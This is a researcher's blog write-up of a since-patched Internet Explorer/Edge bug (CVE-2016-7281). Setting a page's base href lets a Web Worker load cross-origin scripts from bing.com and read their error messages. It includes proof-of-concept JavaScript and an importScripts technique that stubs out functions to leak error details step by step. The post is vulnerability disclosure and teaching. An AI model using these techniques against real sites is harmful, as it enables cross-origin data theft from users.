As we know, all browsers impose several restrictions when trying to access resources from different origins. Of course we can play music and render images coming from different domains but thanks to the Same Origin Policy, we will not be able to read the content of those resources. For example, we can draw an image on a canvas but can’t read its pixels using getImageData unless it is hosted on the same domain as main html.

The same rule applies to scripts. We can freely load external scripts across different domains, but if there’s an error in those scripts we will not be able get any details about it because the error itself could be leaking information. In other words, browsers try to avoid resource information leaking at all costs, even by suppressing error details.

Let’s say we have a page on cracking.com.ar that renders a script from brokenbrowser.com, just like this:

---- Main page on cracking.com.ar ---- <script src="http://brokenbrowser.com/errorscript.js"></script> ---- Script errorscript.js hosted in brokenbrower.com ---- this_is_an_error(); 1 2 3 4 5 6 7 8 -- -- Main page on cracking . com . ar -- -- <script src = "http://brokenbrowser.com/errorscript.js" > </script> -- -- Script errorscript . js hosted in brokenbrower . com -- -- this _ is _ an _ error ( ) ;

The browser will throw an error when trying to execute the non-existent function “this_is_an_error()“, however, because the script is coming from a different origin no details are shared with the main thread. In fact, the main page will get a shallow “Script error” message omitting the important information that an error normally carries: description, URL, and line number. The only information that the main page gets is that an error exists, no more than that.

This behavior is correct and protects end users from sites that may disclose important information (like IDs, search terms, etc) in their scripts or other file types.

Script requested from a different origin: Description: Script error URL: Line: 0 1 2 3 4 5 6 Script requested from a different origin : Description : Script error URL : Line : 0

On the other hand, if we host errorscript.js in the same domain where the main page is running, we will happily get more information. Watch the difference:

Script requested from the same origin: Description: 'this_is_an_error' is undefined URL: http://www.cracking.com.ar/errorscript.js Line: 1 1 2 3 4 5 6 Script requested from the same origin : Description : 'this_is_an_error' is undefined URL : http : / / www . cracking . com . ar / errorscript . js Line : 1

If you want the full details about how the Same Origin Policy (SOP) works, go here, but for the purpose of this vulnerability we are interested just in this small part:

So now that we are on the same page on how this should work, let’s bypass the restriction using Workers.

Normally, we are not able to create workers on different domains. In fact, any attempt will make the browser angry throwing a security error immediately. Let’s try to create a bing.com Worker from a webpage hosted in cracking.com.ar just to see what happens.

See? We can’t even create the Worker!

What would happen if we change our own document baseURI (the base href) so it points to bing.com before creating the Worker?

Wow! It seems to be our lucky day, right? Not really. If we play a bit with the history, location, and base objects, we will find many interesting things. We don’t need luck but just persistence shaking these objects and tons of fruit will fall (watch your head!). Anyway, let’s quickly build a PoC and see if we can leak data from bing.com

var base = document.createElement("base"); base.href = "http://www.bing.com"; document.head.appendChild(base); var worker = new Worker('http://www.bing.com/sa/8_1_2_5126428/HpbHeaderPopup.js'); worker.onerror = function(err) { alert("URL: "+ err.filename + "



Line: " + err.lineno + "



Error: " + err.message); } 1 2 3 4 5 6 7 8 9 10 11 12 13 var base = document . createElement ( "base" ) ; base . href = "http://www.bing.com" ; document . head . appendChild ( base ) ; var worker = new Worker ( 'http://www.bing.com/sa/8_1_2_5126428/HpbHeaderPopup.js' ) ; worker . onerror = function ( err ) { alert ( "URL: " + err . filename + "



Line: " + err . lineno + "



Error: " + err . message ) ; }

Oh, I know what you are thinking now, bug hunter. You think that “just leaking the name of a member” is no big deal, right? Maybe, but keep in mind that many sites response content customized to the user and if we can leak enough data we might end up guessing tons of things about her. Also, if we find a javascript file on that origin that reads content (like using XMLHttpRequest) we may end up abusing it and accessing more stuff. In any case, let’s say that the leaked error “undefined sj_ic” is not enough for us and we want more. That’s great!

We will bypass that error so the script at Bing keeps running. This time no changes to the baseUri are needed but we must include the script via importScripts inside the Worker, and even if errors will still leak, the imported script will execute in our own context (origin). This has a pro and a con. The con is that if we find a script that uses the XMLHttpRequest, we won’t be able to abuse of it because it will be running in our own domain. The pro is that we will still be able to read errors and add code before/after them, letting us bypass uninteresting stuff until we arrive to an error that is interesting. In other words, we will create code that suppresses errors so the script keeps running, until we arrive to important pieces of data.

For example, let’s create an empty function called just like the leaked error “sj_ic” before importing the script. Bing will not fire that error anymore because sj_ic is defined now.

// Main var worker = new Worker('workerimporterror.js'); worker.onerror = function(err) { alert("URL: "+ err.filename + "



Line: " + err.lineno + "



Error: " + err.message); } //---- workerimporterror.js ---- function sj_ic(){} // Empty to suppress the first error and read the next one. importScripts("http://www.bing.com/sa/8_1_2_5126428/HpbHeaderPopup.js"); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 // Main var worker = new Worker ( 'workerimporterror.js' ) ; worker . onerror = function ( err ) { alert ( "URL: " + err . filename + "



Line: " + err . lineno + "



Error: " + err . message ) ; } //---- workerimporterror.js ---- function sj_ic ( ) { } // Empty to suppress the first error and read the next one. importScripts ( "http://www.bing.com/sa/8_1_2_5126428/HpbHeaderPopup.js" ) ;

The new leaked error: “_H is undefined”.

Of course an attacker will keep feeding the external script until she gets the information she wants, but we are just bug-hunters having fun, so let’s stop it here! 😀

Update: this bug was patched on MS16-145, apparently labeled as CVE-2016-7281.

If you have questions about this bug, ping me here: @magicmac2000

Update [2016-09-28]: thanks to Gareth Heyes for pointing me out a confusion with a previous PoC presented here. I’ve corrected it now and hopefully it’s clearer. Thanks Gareth!